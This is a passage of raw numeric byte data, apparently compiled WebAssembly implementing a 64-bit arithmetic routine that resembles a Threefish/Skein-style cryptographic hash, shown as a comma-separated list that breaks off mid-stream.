66,127,133,34,28,131,133,34,40,32,29,131,32,33,133,34,44,32,29,32,33,66,127,133,131,34,47,32,28,133,34,50,132,32,40,133,34,28,32,36,32,33,131,32,43,133,34,52,131,32,44,133,34,53,32,30,32,35,32,39,66,127,133,34,33,131,133,34,36,32,35,131,32,26,133,34,43,32,35,32,26,66,127,133,131,34,26,32,33,133,34,54,132,32,36,133,34,55,133,33,33,32,34,32,25,32,0,65,5,116,65,184,63,106,41,0,0,34,25,32,27,66,127,133,131,133,34,30,131,32,25,133,33,48,32,31,32,32,32,0,65,5,116,65,200,63,106,41,0,0,34,25,32,37,66,127,133,131,133,34,32,131,32,25,133,33,49,32,30,32,27,32,38,66,127,133,34,30,131,133,33,25,32,32,32,37,32,41,66,127,133,34,51,131,133,33,32,32,27,32,34,66,127,133,131,34,56,32,30,133,34,57,32,34,32,25,32,27,131,133,34,46,132,32,25,133,34,30,32,48,131,32,46,133,34,58,32,37,32,31,66,127,133,131,34,59,32,51,133,34,61,32,32,32,37,131,32,31,133,34,51,132,32,32,133,34,62,133,33,34,32,36,32,39,32,26,133,131,32,35,133,34,31,32,45,133,32,28,133,32,40,32,47,32,42,133,131,32,29,133,34,29,32,44,131,32,50,133,34,40,133,34,26,32,53,133,34,35,32,29,32,52,133,34,39,32,43,133,32,55,32,45,131,133,34,29,32,28,133,32,60,66,1,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,36,32,28,32,54,133,32,31,32,43,131,133,34,42,32,39,133,32,33,133,34,31,66,127,133,131,133,34,28,131,32,36,133,33,39,32,29,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,29,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,36,32,33,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,33,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,29,32,26,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,26,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,26,66,127,133,131,133,34,44,131,32,29,133,33,45,32,28,32,31,32,33,32,40,133,34,43,66,127,133,34,33,131,133,33,28,32,44,32,26,32,42,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,42,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,47,66,127,133,34,40,131,133,33,29,32,31,32,35,66,127,133,131,34,50,32,33,133,34,52,32,35,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,53,32,26,32,36,66,127,133,131,34,54,32,40,133,34,55,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,63,133,33,33,32,30,32,49,133,32,59,32,41,133,32,32,131,32,37,133,34,41,133,32,56,32,38,133,32,25,131,32,27,133,34,25,32,46,131,32,57,133,34,46,133,34,32,32,58,133,34,37,32,25,32,48,133,34,25,32,51,133,32,62,32,49,131,133,34,27,32,30,133,32,0,65,5,116,65,184,63,106,41,0,0,34,40,32,34,32,25,133,32,30,32,61,133,32,41,32,51,131,133,34,38,133,34,25,66,127,133,131,133,34,30,131,32,40,133,33,41,32,27,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,27,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,40,32,34,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,34,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,27,32,32,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,32,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,32,66,127,133,131,133,34,48,131,32,27,133,33,44,32,30,32,25,32,34,32,46,133,34,49,66,127,133,34,34,131,133,33,30,32,48,32,32,32,38,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,38,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,48,66,127,133,34,46,131,133,33,27,32,25,32,37,66,127,133,131,34,51,32,34,133,34,56,32,37,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,54,32,47,133,32,29,131,32,26,133,34,29,133,32,50,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,52,133,34,43,133,34,26,32,53,133,34,42,32,31,32,39,133,34,31,32,36,133,32,63,32,45,131,133,34,28,32,35,133,32,60,66,2,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,55,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,28,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,36,32,33,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,33,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,26,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,29,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,48,133,32,27,131,32,32,133,34,27,133,32,51,32,49,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,30,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,40,32,34,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,34,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,32,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,27,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,3,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,28,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,36,32,33,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,33,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,26,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,29,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,30,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,40,32,34,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,34,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,32,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,27,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,4,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,28,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,36,32,33,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,33,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,26,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,29,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,30,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,40,32,34,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,34,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,32,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,27,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,5,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,36,32,28,66,16,134,66,128,128,252,255,143,128,64,131,32,28,66,16,136,66,255,255,131,128,240,255,63,131,132,34,39,32,33,66,16,134,66,128,128,252,255,143,128,64,131,32,33,66,16,136,66,255,255,131,128,240,255,63,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,16,134,66,128,128,252,255,143,128,64,131,32,26,66,16,136,66,255,255,131,128,240,255,63,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,50,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,16,134,66,128,128,252,255,143,128,64,131,32,29,66,16,136,66,255,255,131,128,240,255,63,131,132,34,47,66,127,133,34,43,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,36,131,32,42,133,34,54,32,26,32,39,66,127,133,131,34,55,32,43,133,34,61,32,29,32,26,131,32,39,133,34,43,132,32,29,133,34,62,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,38,133,34,32,32,57,133,34,39,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,37,133,34,25,66,127,133,131,133,34,27,131,32,41,133,33,40,32,30,66,16,134,66,128,128,252,255,143,128,64,131,32,30,66,16,136,66,255,255,131,128,240,255,63,131,132,34,41,32,34,66,16,134,66,128,128,252,255,143,128,64,131,32,34,66,16,136,66,255,255,131,128,240,255,63,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,44,32,32,66,16,134,66,128,128,252,255,143,128,64,131,32,32,66,16,136,66,255,255,131,128,240,255,63,131,132,34,30,66,127,133,131,133,34,32,131,32,44,133,33,44,32,27,32,25,32,34,32,38,133,34,46,66,127,133,34,34,131,133,33,27,32,32,32,30,32,37,66,16,134,66,128,128,252,255,143,128,64,131,32,37,66,16,136,66,255,255,131,128,240,255,63,131,132,34,51,66,127,133,34,32,131,133,33,38,32,25,32,39,66,127,133,131,34,56,32,34,133,34,57,32,39,32,27,32,25,131,133,34,48,132,32,27,133,34,39,32,40,131,32,48,133,34,58,32,30,32,41,66,127,133,131,34,59,32,32,133,34,63,32,38,32,30,131,32,41,133,34,49,132,32,38,133,34,64,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,37,133,32,52,32,50,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,29,133,34,26,32,54,133,34,32,32,31,32,36,133,34,31,32,43,133,32,62,32,45,131,133,34,28,32,35,133,32,60,66,6,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,41,32,33,32,31,133,32,35,32,61,133,32,37,32,43,131,133,34,37,133,34,31,66,127,133,131,133,34,36,131,32,41,133,33,35,32,28,66,32,134,32,28,66,32,136,132,34,41,32,33,66,32,134,32,33,66,32,136,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,32,134,32,26,66,32,136,132,34,26,66,127,133,131,133,34,45,131,32,28,133,33,42,32,36,32,31,32,33,32,29,133,34,36,66,127,133,34,29,131,133,33,33,32,45,32,26,32,37,66,32,134,32,37,66,32,136,132,34,45,66,127,133,34,43,131,133,33,28,32,31,32,32,66,127,133,131,34,47,32,29,133,34,50,32,32,32,33,32,31,131,133,34,37,132,32,33,133,34,29,32,35,131,32,37,133,34,52,32,26,32,41,66,127,133,131,34,53,32,43,133,34,43,32,28,32,26,131,32,41,133,34,41,132,32,28,133,34,54,133,33,32,32,29,32,42,133,32,53,32,45,133,32,28,131,32,26,133,34,26,133,32,47,32,36,133,32,33,131,32,31,133,34,31,32,37,131,32,50,133,34,36,133,33,37,32,31,32,35,133,34,35,32,41,133,32,54,32,42,131,133,34,31,32,29,133,33,28,32,37,32,52,133,33,33,32,32,32,35,133,32,29,32,43,133,32,26,32,41,131,133,34,41,133,33,29,32,32,32,36,133,33,42,32,39,32,44,133,32,59,32,51,133,32,38,131,32,30,133,34,26,133,32,56,32,46,133,32,27,131,32,25,133,34,27,32,48,131,32,57,133,34,38,133,34,25,32,58,133,34,30,32,27,32,40,133,34,35,32,49,133,32,64,32,44,131,133,34,27,32,39,133,32,0,65,5,116,65,184,63,106,41,0,0,34,36,32,34,32,35,133,32,39,32,63,133,32,26,32,49,131,133,34,35,133,34,26,66,127,133,131,133,34,40,131,32,36,133,33,39,32,27,66,32,134,32,27,66,32,136,132,34,36,32,34,66,32,134,32,34,66,32,136,132,32,0,65,5,116,65,200,63,106,41,0,0,34,27,32,25,66,32,134,32,25,66,32,136,132,34,25,66,127,133,131,133,34,44,131,32,27,133,33,45,32,40,32,26,32,34,32,38,133,34,40,66,127,133,34,38,131,133,33,34,32,44,32,25,32,35,66,32,134,32,35,66,32,136,132,34,44,66,127,133,34,43,131,133,33,27,32,26,32,30,66,127,133,131,34,48,32,38,133,34,49,32,30,32,34,32,26,131,133,34,35,132,32,34,133,34,38,32,39,131,32,35,133,34,46,32,25,32,36,66,127,133,131,34,51,32,43,133,34,43,32,27,32,25,131,32,36,133,34,36,132,32,27,133,34,47,133,33,30,32,38,32,45,133,32,51,32,44,133,32,27,131,32,25,133,34,27,133,32,48,32,40,133,32,34,131,32,26,133,34,34,32,35,131,32,49,133,34,40,133,33,35,32,34,32,39,133,34,39,32,36,133,32,47,32,45,131,133,34,26,32,38,133,33,25,32,35,32,46,133,33,34,32,30,32,39,133,32,38,32,43,133,32,27,32,36,131,133,34,39,133,33,27,32,30,32,40,133,33,38,32,60,66,7,124,34,60,66,42,84,13,0,11,32,1,32,28,55,3,0,32,5,32,33,55,3,0,32,3,32,30,55,3,0,32,7,32,26,55,3,0,32,2,32,25,55,3,0,32,4,32,32,55,3,0,32,6,32,34,55,3,0,32,8,32,31,55,3,0,32,23,32,9,41,3,0,32,29,133,55,3,0,32,19,32,10,41,3,0,32,27,133,55,3,0,32,24,32,11,41,3,0,32,35,133,55,3,0,32,20,32,12,41,3,0,32,37,133,55,3,0,32,21,32,13,41,3,0,32,42,133,55,3,0,32,17,32,14,41,3,0,32,38,133,55,3,0,32,22,32,15,41,3,0,32,39,133,55,3,0,32,18,32,16,41,3,0,32,41,133,55,3,0,11,179,52,2,9,127,42,126,32,3,173,33,44,32,2,65,127,106,173,33,45,32,0,65,8,106,34,4,41,3,0,34,46,33,36,32,0,65,16,106,34,5,41,3,0,33,34,32,0,65,208,0,106,34,6,41,3,0,33,26,32,0,65,200,0,106,34,7,41,3,0,33,25,32,0,65,192,0,106,34,8,41,3,0,33,24,32,0,65,56,106,34,9,41,3,0,33,27,32,0,65,48,106,34,10,41,3,0,33,28,32,0,65,40,106,34,11,41,3,0,33,29,32,0,65,32,106,34,12,41,3,0,33,30,32,0,65,24,106,34,3,41,3,0,33,31,3,64,32,36,32,44,124,34,36,32,34,133,33,35,32,1,65,192,0,106,33,0,32,1,41,0,0,34,47,32,31,124,32,1,41,0,8,34,48,32,30,124,34,13,124,33,21,32,1,41,0,48,34,49,32,34,32,25,124,34,37,124,32,1,41,0,56,34,50,32,26,124,34,17,124,33,22,32,1,41,0,16,34,51,32,29,124,32,1,41,0,24,34,52,32,28,124,34,14,124,34,16,32,13,66,46,134,32,13,66,18,136,132,32,21,133,34,20,124,33,19,32,17,66,37,134,32,17,66,27,136,132,32,22,133,34,18,32,1,41,0,32,34,53,32,27,124,32,1,41,0,40,34,54,32,36,32,24,124,34,38,124,34,15,124,34,17,124,33,13,32,14,66,36,134,32,14,66,28,136,132,32,16,133,34,14,32,21,124,33,33,32,18,66,27,134,32,18,66,37,136,132,32,13,133,34,23,32,19,124,33,21,32,13,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,16,124,34,13,32,16,66,17,134,32,16,66,47,136,132,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,17,133,34,15,32,22,124,34,16,32,14,66,42,134,32,14,66,22,136,132,32,33,133,34,14,124,34,17,124,33,20,32,13,32,14,66,49,134,32,14,66,15,136,132,32,17,133,34,19,124,33,22,32,23,66,39,134,32,23,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,33,124,34,16,124,34,17,32,30,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,29,124,34,13,124,33,18,32,20,32,35,32,26,124,34,39,124,32,26,66,162,180,240,207,170,251,198,232,27,133,32,25,133,32,24,133,32,27,133,32,28,133,32,29,133,32,30,133,32,31,133,34,32,66,1,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,23,32,13,66,39,134,32,13,66,25,136,132,32,18,133,34,20,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,21,124,34,16,32,28,124,32,19,66,56,134,32,19,66,8,136,132,32,22,133,32,27,124,34,13,124,34,17,124,33,19,32,18,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,18,124,33,21,32,14,66,24,134,32,14,66,40,136,132,32,23,133,34,14,32,22,32,24,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,37,124,34,15,124,34,16,124,34,17,32,20,66,13,134,32,20,66,51,136,132,32,19,133,34,13,124,33,20,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,25,134,32,13,66,39,136,132,32,20,133,34,19,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,17,134,32,18,66,47,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,20,124,33,23,32,14,66,43,134,32,14,66,21,136,132,32,22,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,29,124,32,19,66,8,134,32,19,66,56,136,132,32,18,133,32,28,124,34,13,124,33,19,32,18,32,32,32,36,124,34,40,124,32,31,66,2,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,21,32,13,66,46,134,32,13,66,18,136,132,32,19,133,34,18,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,22,124,34,16,32,27,124,32,20,66,22,134,32,20,66,42,136,132,32,23,133,32,24,124,34,13,124,34,17,124,33,20,32,19,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,19,124,33,22,32,14,66,37,134,32,14,66,27,136,132,32,21,133,34,14,32,23,32,25,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,39,124,34,15,124,34,16,124,34,17,32,18,66,33,134,32,18,66,31,136,132,32,20,133,34,13,124,33,18,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,17,134,32,13,66,47,136,132,32,18,133,34,20,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,42,134,32,19,66,22,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,18,124,33,21,32,14,66,39,134,32,14,66,25,136,132,32,23,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,28,124,32,20,66,44,134,32,20,66,20,136,132,32,19,133,32,27,124,34,13,124,33,20,32,19,32,34,32,31,124,34,41,124,32,30,66,3,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,22,32,13,66,39,134,32,13,66,25,136,132,32,20,133,34,19,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,23,124,34,16,32,24,124,32,18,66,56,134,32,18,66,8,136,132,32,21,133,32,25,124,34,13,124,34,17,124,33,18,32,20,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,20,124,33,23,32,14,66,24,134,32,14,66,40,136,132,32,22,133,34,14,32,21,32,26,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,40,124,34,15,124,34,16,124,34,17,32,19,66,13,134,32,19,66,51,136,132,32,18,133,34,13,124,33,19,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,18,124,33,21,32,13,66,25,134,32,13,66,39,136,132,32,19,133,34,18,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,22,124,34,16,32,20,66,17,134,32,20,66,47,136,132,32,23,133,34,13,124,34,17,124,33,20,32,19,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,19,124,33,22,32,14,66,43,134,32,14,66,21,136,132,32,21,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,23,124,34,16,124,34,17,32,27,124,32,18,66,8,134,32,18,66,56,136,132,32,20,133,32,24,124,34,13,124,33,18,32,20,32,35,32,30,124,34,42,124,32,29,66,4,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,23,32,13,66,46,134,32,13,66,18,136,132,32,18,133,34,20,32,15,66,39,134,32,15,66,25,136,132,32,16,133,34,15,32,21,124,34,16,32,25,124,32,19,66,22,134,32,19,66,42,136,132,32,22,133,32,26,124,34,13,124,34,17,124,33,19,32,18,32,13,66,36,134,32,13,66,28,136,132,32,17,133,34,18,124,33,21,32,14,66,37,134,32,14,66,27,136,132,32,23,133,34,14,32,22,32,32,124,32,15,66,56,134,32,15,66,8,136,132,32,16,133,32,41,124,34,15,124,34,16,124,34,17,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,13,124,33,20,32,14,66,27,134,32,14,66,37,136,132,32,17,133,34,14,32,19,124,33,22,32,13,66,17,134,32,13,66,47,136,132,32,20,133,34,19,32,15,66,19,134,32,15,66,45,136,132,32,16,133,34,15,32,23,124,34,16,32,18,66,42,134,32,18,66,22,136,132,32,21,133,34,13,124,34,17,124,33,18,32,20,32,13,66,49,134,32,13,66,15,136,132,32,17,133,34,20,124,33,23,32,14,66,39,134,32,14,66,25,136,132,32,22,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,21,124,34,16,124,34,17,32,24,124,32,19,66,44,134,32,19,66,20,136,132,32,18,133,32,25,124,34,13,124,33,19,32,18,32,36,32,29,124,34,33,124,32,28,66,5,124,32,14,66,9,134,32,14,66,55,136,132,32,17,133,124,34,14,124,33,21,32,13,66,39,134,32,13,66,25,136,132,32,19,133,34,18,32,15,66,36,134,32,15,66,28,136,132,32,16,133,34,15,32,22,124,34,16,32,26,124,32,20,66,56,134,32,20,66,8,136,132,32,23,133,32,32,124,34,13,124,34,17,124,33,20,32,19,32,13,66,30,134,32,13,66,34,136,132,32,17,133,34,19,124,33,22,32,14,66,24,134,32,14,66,40,136,132,32,21,133,34,14,32,23,32,31,124,32,15,66,54,134,32,15,66,10,136,132,32,16,133,32,42,124,34,15,124,34,16,124,34,17,32,18,66,13,134,32,18,66,51,136,132,32,20,133,34,13,124,33,18,32,14,66,50,134,32,14,66,14,136,132,32,17,133,34,14,32,20,124,33,23,32,13,66,25,134,32,13,66,39,136,132,32,18,133,34,20,32,15,66,34,134,32,15,66,30,136,132,32,16,133,34,15,32,21,124,34,16,32,19,66,17,134,32,19,66,47,136,132,32,22,133,34,13,124,34,17,124,33,19,32,18,32,13,66,29,134,32,13,66,35,136,132,32,17,133,34,18,124,33,21,32,14,66,43,134,32,14,66,21,136,132,32,23,133,34,14,32,15,66,10,134,32,15,66,54,136,132,32,16,133,34,15,32,22,124,34,16,124,34,17,32,25,124,32,20,66,8,134,32,20,66,56,136,132,32,19,133,32,26,124,34,13,124,33,20,32,19,32,34,32,28,124,34,43,124,32,27,66,6,124,32,14,66,35,134,32,14,66,29,136,132,32,17,133,124,34,14,124,33,22,32,13,66,46,